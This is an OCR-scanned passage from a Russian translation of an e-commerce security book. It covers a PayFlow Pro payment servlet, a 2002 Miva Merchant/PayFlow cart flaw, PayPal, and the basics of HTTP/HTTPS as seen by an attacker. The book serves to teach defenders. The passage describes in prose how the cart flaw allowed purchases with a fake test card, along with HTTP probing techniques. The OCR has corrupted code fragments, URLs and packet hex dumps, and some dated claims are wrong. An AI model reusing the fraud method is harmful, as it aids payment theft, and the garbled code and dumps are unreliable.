"&COMMENTl[10]=TestPay&INVNUM=1234567890&STREET=120+WIGGINS+ST &ZIP=47907"; String Timeout = "30"; // передача запроса на обработку платежа и получение результата int re = pfObject.ProcessTransaction( HostAddress, HostPort, "", "", "", "", ParmList, Timeout); // запись результата res.setContentType("text/html"); out = res.getWriterf); // здесь необходимо обработать реакцию покупателя и сгенерировать товарный чек. // перед завершением работы сервлета данные о транзакции нужно записать в базу данных. } Пакет com.Signio.PFProAPI обеспечивает возможность использования Java-объекта, реализующего взаимодействие с системой PayFlow Pro. Этот пакет импортируется в коде сервлета PFServlet. Экземпляр объекта pfObject инстанцируется на основе класса PFProAPI. Этот объект используется для взаимодействия с серверами PayFlow Pro. Затем обрабатываются параметры формы, переданные сервлету PFServlet. После их получения используется функция CalculateTotalAmount(), которая проверяет содержимое торговой тележки покупателя и вычисляет общую стоимость покупок, необходимую для последующей обработки платежа. В следующем фрагменте кода задаются параметры соединения с системой обработки платежей финансовогр учреждения. В первую очередь из внутреннего хранилища данных извлекается информация для регистрации в системе PayFlow Pro. Эти параметры могут быть жестко заданы в программном коде, однако такой подход никак нельзя назвать удачным. Затем задается IP-адрес и номер порта сервера. И наконец, формируется строка ParmList, содержащая список параметров, которые необходимо передать в HTTP-запросе серверу PayFlow Pro. Эти параметры определяют тип
102
Часть I. Будни электронной коммерции
транзакции (в данном случае продажа (sale) обозначается символом S) и форму оплаты (для кредитной карточки используется символ С (credit card)). Кроме того, в строке параметров содержится также пользовательское имя и пароль системы PayFlow Pro, номер кредитной карточки и конечный срок ее действия, стоимость покупки, некоторая дополнительная информация о транзакции и адрес покупателя. Полное описание всех этих параметров можно найти в руководстве разработчика системы PayFlow Pro, предоставляемом компанией VeriSign. После этого с помощью метода pfObject.ProcessTransaction() генерируется запрос на обработку платежа. В переменную гс помешается код результата, полученный от сервера PayFlow Pro. Как правило, на полную обработку запроса (от его генерации до получения отклика результата) уходит несколько секунд. В оставшемся фрагменте кода сервлета обрабатываются результаты транзакции. Если платеж был успешно принят, сервлет генерирует сообщение о подтверждении заказа и товарный чек, а затем инициирует процесс выполнения заказа. Если же обработка платежа завершилась неудачно, формируется соответствующее сообщение покупателю. Перед завершением работы сервлета данные о транзакции записываются в базу данных.
Проблемы реализации подсистемы обработки платежей При реализации подсистемы обработки платежей и ее интеграции с соответствующей системой финансового учреждения возникает ряд вопросов, которые требуют внимательного рассмотрения.
Интеграция При интеграции подсистемы обработки платежей электронного магазина с интерфейсным объектом системы финансового учреждения требуется, чтобы из клиентской базы данных не извлекались никакие конфиденциальные данные. Так, например, общая стоимость выбранных товаров всегда должна подсчитываться с учетом содержимого электронной торговой тележки и стоимости товаров, хранящейся в серверной базе данных, а не базироваться на сведениях, поступивших от покупателя.
Временная информация
.
Если на сервере необходимо хранить какую-либо временную информацию, то ее следует размещать вне корневого каталога документов Web в отдельной области файловой системы, специально предназначенной для этих целей. В этом случае с помощью Web-броузера взломщик не сможет извлечь промежуточные или временные файлы. Как только в хранении временных данных больше нет необходимости, их нужно сразу же удалить. Кроме того, нужно позаботиться о том, чтобы не произошло наложения временной информации двух параллельных сеансов.
Протокол SSL Протокол SSL не имеет прямого отношения к обеспечению безопасности серверной части приложения. Однако очень важно, чтобы этот механизм использовался для шифрования данных, передаваемых между системой покупателя и Web-узлом
Глава 3. Выбор товаров и обработка платежей
103
виртуального магазина, а также между электронным магазином и системой обработки платежей финансового учреждения. При этом злоумышленники не смогут "прибрать к рукам" конфиденциальные данные, передаваемые в Internet.
Хранение профилей пользователей Многие электронные магазины розничной торговли позволяют покупателям использовать свой собственный профиль (набор параметров) и хранить его на сервере магазина. Зачастую в таком профиле содержится также информация о платежах, в том числе сведения о кредитных карточках. В таких случаях необходимо предпринять повышенные меры безопасности, гарантирующие, что профили пользователей не будут подвергнуты риску ни при каких обстоятельствах.
Изъяны слабой интеграции подсистем выбора товаров и обработки платежей 4 января 2002 года появилось сообщение об изъяне, обнаруженном в электронной тележке Miva Merchant (версии 3.x) и системе обработки платежей PayFlow компании VeriSign. Воспользовавшись им, в рамках подсистемы выбора товаров можно было выполнять недопустимые транзакции с помощью недействительных кредитных карточек. По существу, ошибка была не в самой системе обработки платежей, а в методе интеграции приложения электронной тележки с системой обработки платежей. Существует два способа использования этого изъяна. Первый заключается в модификации кода HTML-страниц таким образом, чтобы вместо страницы с формой оформления платежа сразу же выводилась страница подтверждения заказа. Тем самым полностью пропускается этап проверки достоверности пользовательских данных. Второй путь "обхода" системы состоит в том, чтобы создать в системе PayFlow компании VeriSign пустую тестовую учетную запись. Такая учетная запись зарезервирована для тех разработчиков, которым нужно протестировать свои приложения. И вновь для незаконного использования электронной торговой тележки достаточно отредактировать HTML-код и вместо страницы оформления заказа воспользоваться адресом URL, используемым для отладки. Далее фальшивый номер "тестовой" кредитной карточки может быть использован для приобретения товаров. Подробная информация об этих способах мошенничества содержится по адресу: http://securitytracker.com/alerts/2002/Jan/1003102.html.
PayPal — электронные платежи, доступные каждому Такие системы обработки платежей, как PayPal (http://www.paypal.com), позволили отдельным пользователям выполнять электронные платежи через Web. Подобная возможность привела к значительному увеличению числа лиц, в том числе мелких предпринимателей, а также небольших компаний, которые ведут свои дела через Internet. Транзакции PayPal выполняются с использованием кредитных карточек. В системе PayPal каждый пользователь может зарегистрироваться бесплатно. Персональная учетная запись связывает сведения о кредитных карточках пользователя с его идентификационными данными. Для ссылки на собственные счета клиенты PayPal просто используют свой адрес электронной почты. Предположим, что некий пользователь
104
Часть I. Будни электронной коммерции
Mallory хочет выполнить платеж на имя пользователя Jill, ранее уже получившего учетную запись PayPal. Ссылка на учетную запись Jill в PayPal осуществляется с использованием электронного адреса — jillfiexample.com. Если Mallory захочет перевести Jill некоторую сумму денег, то первое, что ему следует сделать, — это зарегистрироваться в PayPal. Mallory создает собственную учетную запись PayPal и связывает с ней номер своей кредитной карточки. Затем Mallory регистрируется в системе PayPal и инициирует платеж на счет, связанный с адресом jilliexample.com. В системе PayPal кредитная карточка Mallory используется для добавления на счет Jill указанной суммы. На электронный адрес Jill автоматически отправляется сообщение о том, что были получены деньги от Mallory. Системой PayPal предлагается три типа учетных записей: personal, premium и business. При этом с каждой из них связаны различные возможности и льготы, ориентированные на отдельных пользователей, отдельных пользователей с большим объемом платежей и представителей малого бизнеса соответственно. Кроме того, системой PayPal предоставляется ряд дополнительных услуг: возможность выполнения платежей по кредитным карточкам напрямую, использование банкоматов или дебетных карточек, подключенных к счету PayPal, обслуживание нескольких счетов одновременно и т.д. В настоящее время услугами PayPal пользуются около 15 миллионов физических лиц и небольших предприятий. При этом финансовые операции они могут осуществлять в интерактивном режиме. PayPal — это основной метод приема платежей на Web-узлах аукционной продажи, таких, как eBay. Немалую роль система PayPal играет также в развитии рынка условно бесплатного программного обеспечения, которое распространяется по принципу "прежде чем покупать, попробуй". Такое программное обеспечение предлагается разработчиками бесплатно. При этом предоставляется возможность приобретения его полноценной копии позднее. Система PayPal позволяет отдельным разработчикам программного обеспечения принимать платежи с кредитных карточек тех клиентов, которые используют их программные средства. Интересен тот факт, что система PayPal также широко используется в индустрии Internetпорнографии, позволяя владельцам соответствующих Web-узлов взимать плату за просмотр предоставляемого содержимого.
Резюме
•
Электронные торговые тележки и системы обработки платежей — это основа любого приложения электронной коммерции, предназначенного для обслуживания клиентов через Internet. Именно эти компоненты приложения обеспечивают обмен конфиденциальными и критически важными данными между покупателями и компаниями по Internet. Следовательно, вопросам безопасного функционирования подобных подсистем должно уделяться самое пристальное внимание. Каждый из этих компонентов должен быть тесно связан с другими частями приложения. Любая ошибка в реализации может стать причиной серьезной утечки информации, хранящейся на сервере. Любой программный продукт, представленный на современном рынке, требует тщательного тестирования в аспекте обеспечения безопасности. Причем такую проверку стоит выполнять еще до покупки приложения, а не после его установки.
Глава 3. Выбор товаров и обработка платежей
105
ГЛАВА 4
Хакинг п1 эотоколо HTTP и Н TPS Слепой не будет благодарен за зеркало. Английская пословица XVIII века. Из собраний Томаса Фуллера (Thomas Fuller), Гномология (Gnomologia), 1732
Введение Ежедневно во всем мире и за его пределами миллиарды электронов передаются по тысячам миль кабеля между узлами Internet. Эти электроны доставляют почтовые сообщения, изображения и звук на миллионы компьютеров, подключенных к World Wide Web. Во многих сообщениях содержится жизненно важная и конфиденциальная информация, которой могут завладеть хакеры (если получат доступ к этим сообщениям) и впоследствии нанести большой вред. Многие из них именно этим и занимаются. Почему же существует эта опасность, несмотря на технический прогресс в области разработки брандмауэров и программного обеспечения, предназначенного для выявления вторжений? Ответ на этот вопрос связан с двумя TCP-портами — 80 и 443. Эти порты используются службами, основой которых являются протоколы HTTP (HyperText Transfer Protocol) и HTTPS (HTTP поверх SSL), чем и объясняется растущее количество кибервзломов. Почему же так происходит? Причина чрезвычайно проста: люди становятся жертвами искусного мошенничества. Разработчики программного обеспечения и провайдеры услуг Internet очень часто прибегают к нечестным ухищрениям и уловкам. Они уверенно заявляют: "Купите хороший брандмауэр и систему выявления вторжений (Intrusion Detection System — IDS), и ваши проблемы, связанные с обеспечением безопасности, исчезнут сами собой". Любой человек с высоким уровнем интеллекта должен знать, что независимо от количества используемых брандмауэров и систем IDS, никогда нельзя обеспечить гарантированную защиту от Web-атак. Брандмауэры не помогут защититься от Web-атак. Их можно сравнить с лежачими полицейскими на улицах Internet. Почему? Потому что через них должен свободно проходить весь Web-трафик. В результате протоколы HTTP/HTTPS позволяют взломщику практически полностью игнорировать брандмауэры. Вне всякого сомнения, протокол HTTP должен вызывать у хакеров восхищение. Обычно все, что можно сделать с использованием HTTP, можно сделать также и с помощью HTTPS. В этой главе рассматриваются оба протокола (HTTP и HTTPS), обсуждаются основные принципы их функционирования, а также пути, которыми пользуются хакеры для расширения границ своей деятельности.
Протоколы Web World Wide Web — это набор протоколов, которые подобны полицейским, регулирующим "уличное" движение в Internet. Пакеты — это автомобили, грузовики и автобусы на информационной супермагистрали; а протоколы — это остановки, светофоры и эстакады. С учетом такого определения, протоколы играют чрезвычайно важную роль в управлении повседневной жизнью Internet. Как следствие, они- оказываются столь же важными и для хакеров, которые хотят воспользоваться их недостатками (а иногда и функциональными возможностями). В этой главе обсуждаются основные протоколы, используемые в электронной коммерции. Кроме того, вы узнаете, как хакеры пытаются воспользоваться ими для достижения собственной выгоды. Здесь также описывается множество бесплатных утилит, работа которых основывается на преимуществах этих протоколов. Подобные программные средства позволяют автоматизировать выполнение большей части тяжелой рутинной работы.
HTTP Вне всякого сомнения, HTTP — наиболее распространенный протокол Internet. Для взаимодействия и обмена информацией этот протокол должен использоваться на каждом Web-броузере и сервере. Существует три основные версии протокола, которые
Глава 4. Хакинг протоколов HTTP и HTTPS
107
поддерживают одну и ту же фундаментальную структуру. HTTP — это протокол запросов/ответов, не требующий поддержки соединения и позволяющий компьютерам достаточно эффективно и непрерывно взаимодействовать друг с другом в течение часов, дней и недель. Хотя используемая в настоящее время версия 1.0 протокола HTTP существенно отличается от первоначальной спецификации, предложенной Тимом Бернерсом-Ли (Tim Berners-Lee) в марте 1990 года, его характерные особенности изменились незначительно. На рис. 4.1 изображены основные компоненты HTTP и принципы их использования. Клиент передает запрос HTTP, используя разные методы и заголовки запроса HEAD / HTTP/1.0
Клиентский броузер
Сервер возвращает код ответа HTTP, используя разные заголовки запроса
Г _) Web-сервер
НТТР/1.1 200 ОК Server: Microsoft-IIS/5.О Content-Location: http://192.168.0.5/
Default.htm Date: Mon, 15 Apr 2002 05:56:57 GMT
Content-Type: text/html Accept-Ranges: bytes Last-Modified: Sat, 06 Apr 2002 06:48:32 GMT Etag: "a017751137ddcll:81a" Content-Lenght: 5
Рис. 4.1. Протокол HTTP Рассмотрим основные версии протокола HTTP подробнее.
HTTP/0.9 Первой официальной спецификацией протокола HTTP считается НТТР/0.9. Эта и последующая версии определены группой IETF (Internet Engineering Task Force) в документе RFC 1945 (http://www.ietf.org/rfc/rfcl945.txt). В течение четырех лет (19921996) протокол НТТР/0.9 получил широкое распространение в Internet, хотя в то время технология Web еще не была достаточно развита. Версия 0.9 была весьма ограниченной и не содержала тех элементов, которые в настоящее время требуются для взаимодействия в Web.
НТТР/1.0 Спецификация НТТР/1.0 появилась в самом начале эры стремительного развития Internet, в мае 1996 года. Несмотря на небольшой возраст этой версии (в технологическом смысле), она является основной версией протокола HTTP, используемой сейчас в Internet. В процессе взаимодействия на большинстве Web-серверов и броузеров попрежнему по умолчанию используется протокол НТТР/1.0. Подобно НТТР/0.9, спецификация НТТР/1.0 определена в документе RFC 1945.
108
Часть I. Будни электронной коммерции
В основу НТТР/1.0 положен процесс обмена запросами и ответами, в рамках которого клиенту (Web-броузеру) и серверу (Web-серверу) разрешается (или запрещается) передавать, анализировать и получать информацию. Вообще, в спецификации НТТР/1.0 адрес URL определен следующим образом: littp: / / узел [ ":" порт ] [ абсолютный путь ] Здесь узел — это имя целевого узла, порт — необязательный номер порта, абсолютный_ путь — запрашиваемый ресурс.
Запрос HTTP При генерации запроса первым шагом должен быть выбор метода, который будет использоваться. В табл. 4.1 описаны методы, определенные в спецификации НТТР/1.0. Таблица 4.1. Методы НТТР/1.0 Метод Описание GET
HEAD
POST
Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является статическим файлом HTML, то будет отображено его содержимое. Однако если файл является динамическим файлом ASP, то Web-сервер обработает его, выполнит содержащиеся в нем команды и передаст результаты выполнения обратно броузеру. Пример: GET /default.htm НТТР/1.0. Замечание: после строки НТТР/1.0 необходимо дважды нажать клавишу Метод HEAD почти идентичен методу GET, с одной оговоркой: при его использовании запрашиваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том, что в качестве ответа передается метаинформация: код ответа сервера, дата, заголовок сервера и т.д. Эти данные позволяют взломщику (иногда) "прощупывать" Web-сервер, на котором выполняется Web-приложение. Пример: HEAD / НТТР/1.0. Замечание: после строки НТТР/1.0 необходимо дважды нажать клавишу При использовании метода POST данные передаются серверу в теле запроса. Обычно метод POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный заголовок Content-Length
Ответ HTTP Полученный от клиента запрос HTTP обрабатывается сервером, который обратно передает ответ. В качестве ответа передается набор следующих компонентов: • код ответа (response code) — числовой код, связанный с откликом; • поля заголовка (header field) — дополнительная информация об ответе; • данные — содержимое, или тело ответа. При наличии этих трех компонентов клиентский броузер "понимает" ответ сервера и может с ним взаимодействовать. Рассмотрим каждый компонент подробнее.
Код ответа Это первая часть ответа сервера, которая определяет все последующее взаимодействие. Возможны четыре ответа сервера: Success (успешное завершение передачи запроса), Redirection (перенаправление), Client Error (ошибка клиента) или Server Error (ошибка сервера). Значение кода ответа зависит от ^клиентского запроса. В табл. 4.2 приведены наиболее стандартные коды ответа, генерируемые сервером. Глава 4. Хакинг протоколов HTTP и HTTPS
109
Таблица 4.2. Общие коды ответов Описание
Код ответа Success 2xx
200 ОК
Запрос успешно принят
Redirection Зхх 301 Moved Permanently
302 Moved Temporarily
Запрашиваемый ресурс содержится по новому постоянному адресу URL, который указан в поле Location. С помощью этого кода ответа сервер сообщает: "Я переместился, следуй за мной по новому адресу" Запрашиваемый ресурс можно найти с использованием нового временного URL, который указан в поле Location. Этот код ответа говорит: "Я переместился, следуй за мной по новому адресу, но не рассчитывай, что я надолго там задержусь"
Client Error 4xx
400 Bad Request
Сервер не понял запроса
401 Unauthorized 403 Forbidden
Для доступа к запрашиваемому ресурсу нужно пройти аутентификацию
404 Not Found
Сервер понял запрос, но отказывается отвечать. Как правило, если для получения ответа используется метод GET, то предоставляется (или вообще отсутствует) минимальная дополнительная информация. В то же время при использовании метода HEAD некоторые серверы возвращают более подробную информацию о причинах возникновения данного условия Нужный ресурс не найден
Server Errors 5xx
500 Internal Server Error 501 Not implemented 502 Bad Gateway 503 Service Unavailable
При обработке запроса на сервере возникла внутренняя ошибка Сервер не поддерживает запрос При запросе ресурса сервер получил некорректный ответ от другого сервера. Такой ответ типичен для proxy-серверов HTTP Сервер не может ответить на запрос из-за своей перегруженности
Более полный перечень кодов ответов протоколов НТТР/1.0 и НТТР/1.1 содержится в приложении Б. С помощью кода 501 (Not Implemented) клиенту сообщается, что выбранный метод сервером не поддерживается. Например, такой код будет получен в том случае, если серверу НТТР/1.0 передать запрос с методом OPTIONS (который определен только в спецификации НТГР/1.1).
Поля заголовка Как в ответе сервера на запрос клиента, так и в ответе клиента на запрос сервера содержатся поля заголовка с дополнительной информацией. Сервер и клиент выполняют анализ этих полей и при необходимости используют полученную информацию. Основные поля заголовка описаны в табл. 4.3.
110
Часть I. Будни электронной коммерции
Таблица 4.3. Определения полей заголовка Поле заголовка
Описание
Allow
Предоставляет список методов, поддерживаемых запрашиваемым ресурсом
Authorization Содержит регистрационные данные, необходимые для аутентификации HTTP Content-Encoding Перечисляет, какое дополнительное кодирование применялось к переданным дан-
Content-Length Content-Type Date Expires From Last-Modified Location Pragma
Referer Server
User-Agent
ным. На основе этой информации клиент может правильно интерпретировать полученные данные. Например, поле Content-Encoding: x-gzip означает, что к содержимому было применено сжатие gzip Указывает размер содержимого в октетах (десятичное число). Например, ContentLength: 332 Описывает тип содержимого ответа. Например, поле Content-Type: text/HTML определяет, что типом содержимого является text/HTML. Это поле позволяет правильно отобразить полученное содержимое в клиентском броузере Содержит дату и время сервера Содержит дату и время, при наступлении которых содержимое считается устаревшим Содержит адрес электронной почты, используемый для определения источника, сгенерировавшего ответ. Это поле используется редко Содержит дату и время последнего изменения ресурса на сервере Указывает местоположение запрашиваемого ресурса Описывает дополнительные параметры обработки запроса. Например, если в поле заголовка Pragma, полученного от сервера, указана директива no cash, то клиент должен загрузить полученное содержимое независимо от того, содержится ли в буфере копия этих данных Позволяет клиенту указать адрес ресурса Описывает запущенное на сервере программное обеспечение. В большинстве случаев эта информация является точной. Например, Server: Microsoft-iss/5.0. Однако не нужно забывать о том, что некоторые сообразительные администраторы могут изменить эту информацию. В результате вполне возможно получить сообщение "Web-сервер Микки" Предоставляет дополнительную информацию о пользовательском (клиентском) агенте, который запрашивает информацию. Например, user-Agent: Mozilla/5.0 (WinNT)
WWW-Authenticate Используется в ответ на получение кода 401 Unathorized. Применяется в процессе взаимодействия с сервером для получения санкционированного доступа
Данные Блок данных, содержащихся в клиентском запросе или ответе сервера, — это основная часть информации, передаваемой в процессе взаимодействия. При использовании метода GET в запросе на получение ресурса по умолчанию можно воспользоваться следующим синтаксисом: С:\> пс.ехе Hww.example.com 80 GET / HTTP/1.0 Another here В результате обратно в блоке данных будет передана Web-страница, используемая по умолчанию.
Глава 4. Хакинг протоколов HTTP и HTTPS
111
HTTP/1.1 Официальная спецификация протокола НТТР/1.1 появилась в 2001 году и в настоящее время широко используется. Подробные сведения об этой новой версии и описание ее основных отличий от версии НТТР/1.0 представлены в документе RFC 2616 группы IETF. Причиной появления протокола HTTP/1.1 послужили недостатки, обнаруженные в его предыдущей версии. К этим недостаткам относится отсутствие поддержки иерархических связей между proxy-серверами, слабая поддержка кэширования и отсутствие корректной обработки постоянных соединений и виртуальных узлов. В протоколе HTTP/1.1 адрес URL выглядит следующим образом: НТТР://узел[":" лорг] [а6сопютний_путъ ["?" запрос]]
При сравнении адресов URL версий НТТР/1.0 и НТТР/1.1 можно заметить одно существенное отличие: протокол НТТР/1.1 поддерживает передачу параметров сценария с использованием запроса ?. Эта особенность используется практически во всех Web-приложениях и оказывается одним из первых механизмов, подвергающихся атаке. Все, что указано после символа ?, обрабатывается сценарием, а следовательно, становится целью атаки (таковы правила игры с хакерами).
Запрос HTTP Протокол НТТР/1.1 основывается на НТТР/1.0, однако поддерживает гораздо больше методов. Описание методов НТТР/1.1 приведено в табл. 4.4.
Таблица 4.4. Методы НТТР/1.1 Метод
Описание
CONNECT Новый для НТТР/1.1 Можно использовать при взаимодействии с proxy-сервером, который позволяет динамически переключаться в режим туннелирования (т.е. туннелирования SSL) DELETE Новый для НТТР/1.1 Позволяет исходному серверу удалить указанный ресурс. По умолчанию эта возможность недоступна на большинстве новых серверов. Однако при использовании такого метода об удачной обработке запроса будет свидетельствовать ответ 200 ОК. Ответ 202 Accepted будет возвращаться в том случае, если запрос был принят, но его обработка еще не закончена. Сообщение 204 NO Content означает, что запрос был принят, но обратно возвращать нечего GET
HEAD
112
Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является статическим файлом HTML, то будет отображено его содержимое. Однако если файл является динамическим файлом ASP, то Web-сервер обработает его, выполнит содержащиеся в нем команды и передаст результаты выполнения обратно броузеру. Пример: GET /default.htm НТТР/1.1. Замечание: после строки НТТР/1.1 необходимо дважды нажать клавишу Метод HEAD почти идентичен методу GET, с одной оговоркой: при его использовании запрашиваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том, что в качестве ответа передается метаинформация: код ответа сервера, дата, заголовок сервера и т.д. Эти данные позволяют взломщику (иногда) "прощупывать" Web-сервер, на котором выполняется Web-приложение. Пример: HEAD/HTTP/I .1. Замечание: после строки НТТР/1.1 необходимо дважды нажать клавишу
Часть I. Будни электронной коммерции
Окончание табл. 4.4 Метод
Описание
OPTIONS Позволяет получить информацию о параметрах связи, которые можно использовать при доступе к нужному ресурсу. Если используется символ звездочки (*), то ресурс считается стандартным и в ответе будут указаны только стандартные методы. Например, при использовании символа "*" в ответе будут указаны только четыре метода: GET, HEAD, OPTIONS и TRACE. OPTIONS * HTTP/1 Л Host: www.example.com HTTP/1.1 200 OK Date: Mon, 15 Apr 2002 00:08:32 GMT Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c Content-Length: 0 Allow: GET, HEAD, OPTIONS, TRACE
В то же время при использовании символа / можно получить перечень всех разрешенных методов. OPTIONS / HTTP/1.1 Host: www.example.com НТТР/1.1 200 ОК Date: Mon, 15 Apr 2002 00:"07:17 GMT Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/О.Э.бс Content-Length: 0 Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE
POST
Этот метод может оказаться весьма полезным (с точки зрения хакера) при исследовании функциональных возможностей Web-узла При использовании метода POST данные передаются серверу в теле запроса. Обычно метод POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный заголовок Content-Length
PUT
Позволяет сохранить передаваемые данные на сервере. Например, приведенный ниже фрагмент позволяет создать файл EXAMPLE, в котором будут содержаться данные, переданные в запросе. PUT /EXAMPLE HTTP/1.1 Host: 192.168.0.5 Content-Length: 5 Hello there
TRACE
Позволяет сгенерировать запрос на получение циклического сообщения. Даже если запрос предназначен для целевого сервера, зачастую вместо него отвечают proxy-серверы. Эта характеристика позволяет взломщику выполнить инвентаризацию proxy-серверов
Ответ HTTP Как и при использовании протокола НТТР/1.0, запросы HTTP/1.1 передаются клиентом и соответствующим образом обрабатываются сервером. В ответе HTTP/1.1 можно выделить следующие элементы: • код ответа (response code) — числовой код, связанный с откликом; • поля заголовка (header field) — дополнительная информация об ответе; • данные — содержимое, или тело ответа.
Глава 4. Хакинг протоколов HTTP и HTTPS
113
Коды ответа В спецификации НТТР/1.1 к списку ранее используемых кодов ответов добавлено много новых кодов, однако их основная часть осталась без изменений. Поэтому, для того чтобы понять характерные особенности кодов НТТР/1.1, следует хорошо разобраться с кодами ответов, определенными в протоколе НТГР/1.0,
Поля заголовка Как в запросе клиента, так и в ответе сервера содержатся поля заголовка, предоставляющие некоторую дополнительную информацию. При необходимости сервер и клиент выполняют анализ этих полей. В табл. 4.5 приведено описание новых полей заголовка, появившихся в протоколе НТТР/1.1.
Таблица 4.5. Добавления НТТР/1.1 к определениям полей заголовка НТТР/1.0 Поле заголовка Описание Cache-Control Connection
Определяет директивы, которые должны использоваться всеми механизмами кэширования в последовательности запросов/ответов Позволяет отправителю задать параметры конкретного соединения
Etag
Позволяет получить текущее значение дескриптора entity
Trailer
Позволяет включить в конец сообщения список заголовков
TransferEncoding Upgrade Via
Warning
Позволяет получить информацию обо всех преобразованиях тела сообщения, которые были выполнены для его передачи Позволяет клиенту указать, какие дополнительные заголовки им поддерживаются Используется промежуточными шлюзами и proxy-серверами для определения того, какие протоколы применяются при передаче сообщения между сегментами маршрута. Как и в ходе отслеживания маршрутов при обеспечении безопасности, поле via позволяет определить, через какие proxy-серверы проходит сообщение в процессе его доставки на целевой сервер Используется для получения дополнительной информации о статусе сообщения
HTTPS (HTTP поверх SSL) Это протокол, используемый для шифрования трафика HTTP. При этом для шифрования всего сообщения используется протокол SSL. Существует множество версий SSL и аналогичных протоколов (Transport Layer Security — TLS, RFC 2246), в том числе SSLvl, SSLv2 и SSLvS. Кроме того, ситуацию усложняет еще и то, что в различных версиях SSL могут использоваться разные стандарты шифрования. Например, при использовании протокола SSLv3 можно выбрать один из существующих алгоритмов шифрования, начиная с DES и заканчивая RSA (RC2 и RC4). Проследить за практическим использованием протокола SSL проще всего с помощью сетевого анализатора пакетов. С помощью утилиты Snort (http://www.snort.org) можно просмотреть весь трафик, передаваемый через TCP-порт 80. 04/14-22:43:39.781452 192.168.0.5:80 -> 192.168.0.3:2590 TCP TTL:128 TOS:OxO 10:18197 IpLen:20 DgraLen:344 DF ***AP*** Seq: Ox22AA9B72 Ack: OxFDC79BB8 Win: Ox445F TcpLen: 20 0x0000: 00 06 58 30 04 ОС 00 20 78 OD IF 4C 08 00 45 00 ..[0... X..L..E. 0x0010: 01 58 47 15 40 00 80 06 31 32 CO A8 00 05 CO A8 .XG.§...12 0x0020: 00 03 00 50 OA IE 22 AA 9B 72 FD C7 9В В8 50 18 ...P.."..r P. 0x0030: 44 5F 33 9A 00 00 48 54 54 50 2F 31 2E 31 20 32 D 3...HTTP/1.1 2
114
Часть I. Будни электронной коммерции
0x0040: 30 30 20 4F 4В OD ОА 44 61 74 65 ЗА 20 0x0050: 2С 20 31 35 20 41 70 72 20 32 30 30 32 0x0060: ЗА 31 31 ЗА 35 33 20 47 4D 54 OD ОА 53 0x0070: 65 72 ЗА 20 41 70 61 63 68 65 2F 31 2Е 0x0080: 32 20 28 57 69 6Е 33 32 29 20 41 70 61 0x0090: 4А 53 65 72 76 2F 31 2Е 31 20 6D 6F 64 OxOAOO: 6C 2F 32 2E 36 2E 34 20 4F 70 65 6E 53 OxOOBO: 30 2E 39 2E 35 61 20 6D 6F 64 5F 70 65 OxOOCO: 31 2E 32 32 OD OA 4C 61 73 74 2D 4D 6F OxOODO: 69 65 64 ЗА 20 4D 6F 6E 2C 20 30 38 20 OxOOEO: 20 32 30 30 32 20 30 31 ЗА 33 34 ЗА 35 OxOOFO: 4D 54 OD OA 45 54 61 67 ЗА 20 22 30 2D 0x0100: 2D 33 63 62 30 66 33 62 66 22 OD OA 41 0x0110: 70 74 2D 52 61 6E 67 65 73 ЗА 20 62 79 0x0120: OD OA 43 6F 6E 74 65 6E 74 2D 4C 65 6E 0x0130: ЗА 20 32 31 32 33 OD OA 43 6F 6E 6E 65 0x0140: 6F 6E ЗА 20 63 6C 6F 73 65 OD OA 43 6F 0x0150: 6E 74 2D 54 79 70 65 ЗА 20 74 65 78 74 0x0160: 6D 6C OD OA OD
4D 6F 20 30 65 72 33 2Е 63 68 5F 73 53 4C 72 6C 64 69 41 70 35 20 38 34 63 63 74 65 67 74 63 74 6E 74 2F 68
6Е 36 76 31 £5 73 2F 2F 66 72 47 62 65 73 68 69 65 74
00 ОК..Date: Hon , 15 Apr 2002 Об :11:53 GMT..Serv er: Apache/1.3.1 2 (Win32) Apache JServ/1.1 mod ss 1/2.6.4 OpenSSL/ 0.9.5a mod_perl/ 1.22..Last-Modif led: Hon, 08 Apr 2002 01:34:55 G MT..ETag: "0-84b -3cbOf3bf". .Acce pt-Ranges: bytes ..Content-Length : 2123..Connect! on: close..Conte nt-Type: text/ht A ml
В пакете, возвращаемом сервером, содержатся результаты обработки запроса HEAD. Вот как выглядит этот же пакет, зашифрованный с использованием SSL: 04/14-22:46:51.135042 192.168.0.5:443 -> 192.168.0.3:2592 TCP TTL:128 TOS:OxO 10:18212 IpLen:20 DgmLen:339 DF ***AP*** Seq: 0x25992024 Ack: OxB641BA Win: 0x4266 TcpLen: 20 0x0000: 00 06 5B 30 04 ОС 00 20 78 OD IF 4C 08 00 45 00 ..[0... X..L..E. 0x0010: 01 53 47 24 40 00 80 06 31 28 CO A8 00 05 CO A8 .SG$§...1( 0x0020: 00 03 01 BB OA 20 25 99 2D 24 00 B6 41 BA 50 18 *.-$..A.P. 0x0030: 42 66 B9 04 00 00 17 03 00 01 26 46 E4 32 33 3E Bf &F.23> 0x0040: IE 19 5E 9E FB OB 7F 55 41 73 09 9A 97 DE D7 65 ..'....UAs e 0x0050: AS FD 00 OB OB 9F 89 2A C2 4C 28 3B AD OA OA C9 *.L(;.... 0x0060: A9 8D 57 54 AA DB 3D 53 9E C4 3D OF 24 C8 DB 85 ..WT..=S..=.$... 0x0070: B8 2C 36 87 4E ID 30 A5 2C F2 36 31 CC 48 58 69 .,6.И.О.,.61.Hxi 0x0080: 3F A9 2A 8A 28 57 43 ED 4F Cl FF 2A B2 AF 2A BF ?.*:(WC.O..*..*. 0x0090: 23 54 FO AB 9D 6F 5D 07 21 CF DF 07 2E 73 2D 50 IT...0].!....s-] OxOOAO: BC 18 8C EO 22 FA 84 80 17 ЕЕ 66 98 D9 CB 68 ED ...." f...h. OxOOBO: 18 76 D2 DE E6 FA 6F B7 OB 09 AD 24 6В 8С 97 OE .v o....$k... , OxOOCO: 6F 26 8B 9F 58 ED FB 53 13 3E 1C 20 73 D3 BE A2 oS..X..S.>. s... OxOODO: 8D Cl D2 20 09 F7 59 El 9F D9 B2 84 49 58 DB 9F Y IX.. 